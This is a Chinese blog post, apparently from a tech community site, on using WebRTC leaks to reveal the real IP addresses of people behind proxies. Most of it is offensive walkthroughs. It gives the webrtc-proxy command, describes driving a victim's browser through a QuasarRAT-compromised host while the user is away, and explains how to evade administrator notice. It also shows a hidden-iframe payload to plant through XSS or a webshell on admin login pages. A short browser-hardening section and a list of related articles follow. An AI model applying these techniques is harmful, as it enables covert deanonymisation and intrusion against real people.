WebRTC溯源的几个实战利用场景

简介: WebRTC溯源的几个实战利用场景

0x00 前言

最近看到几篇有关WebRTC泄露源IP的文章,这个问题其实很多年前就有人提出来了,只是当时没咋引起重视;最近看又有师傅提起了,写篇文章简单记录分享下。


目前想到在实战中可利用的场景有:HW攻防演练、BC/ZP溯源对方真实IP等...。


0x01 泄露原因

浏览器支持WebRTC并在没被禁用的情况下就有可能会泄露源IP地址,如常用的:Chrome、Firefox、Edga等浏览器均支持WebRTC。

0x02 在线检测

WebRTC可怕之处在于,即使我们使用VP嗯、或者通过小飞机、v2rayN等进行全局代理后仍会泄露我们的真实IP,可以用以下几个网址来检测,如下图所示。

    https://ip8.com/webrtc-test
    https://www.hackjie.com/tracking
    https://browserleaks.com/webrtc
    https://surfshark.com/zh/webrtc-leak-test


    注:群里几个小伙伴用他们的VP嗯也测试了下,但发现并没有显示真实IP,有时只会显示一个内网IP;由于我没有VP嗯就不测试了,大家有的可以自己去测试下。


    0x03 项目介绍

    简单介绍下@iiiusky师傅的webrtc-proxy项目,它是通过 "反向代理 + webrtc" 的方式在对方神不知鬼不觉的情况下获取对方的真实IP,具体参数说明可见下图。


    项目地址:https://github.com/iiiusky/webrtc-proxy


    0x04 实战场景

    搞攻防演练和做HC的基本都会挂代理来隐藏自己的真实IP,那么我们又该如何获取他们的真实IP呢?仅提供几种场景下的利用思路,实战还得根据所遇到的场景测试。

    1. 钓鱼场景利用

    假设我们在攻防演练中通过反制手段拿到红队主机权限,或者通过钓鱼方式拿到某BC客服、技术、代理的主机权限,这时就可以利用webrtc-proxy获取对方的真实IP。


    执行以下命令可反代指定网站并生成一个webrtc地址以隐藏形式插入到body标签中,不过我们最好还是反代他们自己网站或者常用网站,要不容易被管理发现异常。

      ./WebRtc -d 1.***.**.84 -t https://www.baidu.com -p 80 --disable-random-log

      因为要通过他们主机的浏览器去访问我们的反代地址,有啥浏览器就用啥吧,但最好还是先观察下对方是否在电脑前,趁其不在时再去操作。


      反正也就“3秒”的事,等完事了再“擦擦”...。


      这里我用的QuasarRAT开源远控进行测试,通过“Sent to Website”功能使用他们主机的默认浏览器访问反代地址或webrtc地址,但需要将“隐藏访问”选项取消勾选。

      执行以上操作后对方主机就会使用默认浏览器访问我们给定的这个网址,这时可以看到已经成功获取到他代理背后的真实IP了,如下图所示。

      反向代理开启后会在当前目录下生成两个日志文件,access为访问日志,另一个为webrtc日志,找到的真实IP就会写入在这个文件中,如下图所示。


      注意事项:

      1. 我们也尝试了一些浏览器的静默访问方法,但都只能获取到代理IP,无法获取到真实IP,好像是因为没能加载反代中的webrtc吧,没找到更好的静默访问方法,暂时只能这样了。补充:最近了解到一个叫HVNC的东东,理论上应该是可行的,但我并没有去测试;国外大多数RAT都有这功能,如:Venom RAT,大家可以自己去测试下。HVNC!隐藏桌面CobaltStrike插件

      2. 为什么不直接RDP进去使用在线检测网址获取真实IP呢?因为这样动静太大,更容易被管理发现,因为登录RDP产生的日志更多,可能会触发防护的登录提醒而导致权限丢失。


      2. 漏洞场景利用

      当挖到xss、csrf、上传等漏洞时就可以通过构造payload插入我们的webrtc地址来获取对方的真实IP,只要他通过浏览器访问了我们的webrtc时即可获取到真实IP。

        title="Damn Vulnerable Web Application (DVWA)-v1.9"


        或者通过某些漏洞拿到webshell权限后可以在管理、代理后台登录页的源代码中插入我们的webrtc,直接用以下代码即可,等待他们访问后台时即可获取到真实IP。

          <iframe style="display:none;" src="webrtc"></iframe>

          0x05 防范措施

          谷歌、火狐浏览器可通过安装WebRTC Leak Shield插件禁用webrtc;也可以通过以下方式禁用webrtc

            about:config,将media.peerconnection.enabled值改为false;


            0x06 文末总结

            简单介绍了几个常见场景下通过webrtc获取真实IP的利用思路,可根据挖到的漏洞和已拿到的权限分为主动和被动,主动就是高权限时通过他们的浏览器主动去访问,被动就是xss、csrf、上传漏洞及Webshell等,需要等待管理员自己去访问。这里我们只是在本地模拟实战场景进行了简单的测试,大家在实战应用时还可以申请一个与目标站类似域名做个解析,再搭配一个CDN简单隐藏下VPS的IP......。

            相关实践学习
            日志服务之使用Nginx模式采集日志
            本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
            相关文章
            |
            2月前
            |
            Web App开发 编解码 安全
            WebRTC 入门:开启实时通信的新篇章(下)
            WebRTC 入门:开启实时通信的新篇章(下)
            |
            2月前
            |
            Web App开发 移动开发 前端开发
            WebRTC 入门:开启实时通信的新篇章(上)
            WebRTC 入门:开启实时通信的新篇章(上)
            |
            10月前
            |
            Web App开发 安全 API
            WebRTC 技术在实时通信中的应用与实现
            WebRTC(Web Real-Time Communication)是一种支持实时音视频通信的开放式标准。它允许在 Web 浏览器之间进行点对点的音视频通信,而无需安装插件或其他额外的软件。WebRTC 在实时通信领域有着广泛的应用,包括视频通话、音频通话、实时消息等。下面将介绍 WebRTC 技术在实时通信中的应用与实现。
            218 0
            |
            5月前
            |
            编解码 算法 大数据
            即时通讯技术文集(第25期):实时音视频基础入门 [共20篇]
            ​为了更好地分类阅读 52im.net 总计1000多篇精编文章,我将在每周三推送新的一期技术文集,本次是第25 期。
            37 1
            |
            8月前
            |
            编解码 Java 开发工具
            [技术分享]Android平台实时音视频录像模块设计之道
            录像有什么难的?无非就是数据过来,编码保存mp4而已,这可能是好多开发者在做录像模块的时候的思考输出。是的,确实不难,但是做好,或者和其他模块有非常好的逻辑配合,确实不容易。
            |
            9月前
            |
            编解码 应用服务中间件 nginx
            手机直播源码开发,协议讨论篇(三):RTMP实时消息传输协议
            通过今天的讨论,大家都不难看出,RTMP协议是手机直播源码平台不可或缺的协议之一,为用户提供了低延迟、高质量的直播体验,也为平台带来了用户,增加了收益。
            手机直播源码开发,协议讨论篇(三):RTMP实时消息传输协议
            |
            9月前
            |
            Web App开发 API 开发者
            WebRTC技术及其在实时通信中的应用
            WebRTC技术及其在实时通信中的应用
            125 0
            |
            11月前
            |
            Web App开发 安全 JavaScript
            WebRTC:实时音视频通信的开发与应用
            WebRTC(Web实时通信)是一种开放标准的实时通信技术,使开发者能够在Web浏览器中实现高质量的音视频通信。本文将介绍WebRTC的基本原理和用法,以及如何使用WebRTC构建实时音视频通信应用程序。
            321 0
            |
            Web App开发 前端开发 中间件
            WebRTC 实战:实现 P2P 实时视频互动
            只有虽然说WebRTC支持P2P,但是需要有一台信令服务器来交换双方的SDP,现在我们就来用Node实现一个信令服务器。
            359 0
            |
            监控 网络协议 安全
            即时通讯技即时通讯技术文集(第8期):移动端弱网优化系列 [共14篇]
            为了更好地分类阅读52im.net 总计1000多篇精编文章,我将在每周三推送新的一期技术文集,本次是第8 期。
            157 0
            即时通讯技即时通讯技术文集(第8期):移动端弱网优化系列 [共14篇]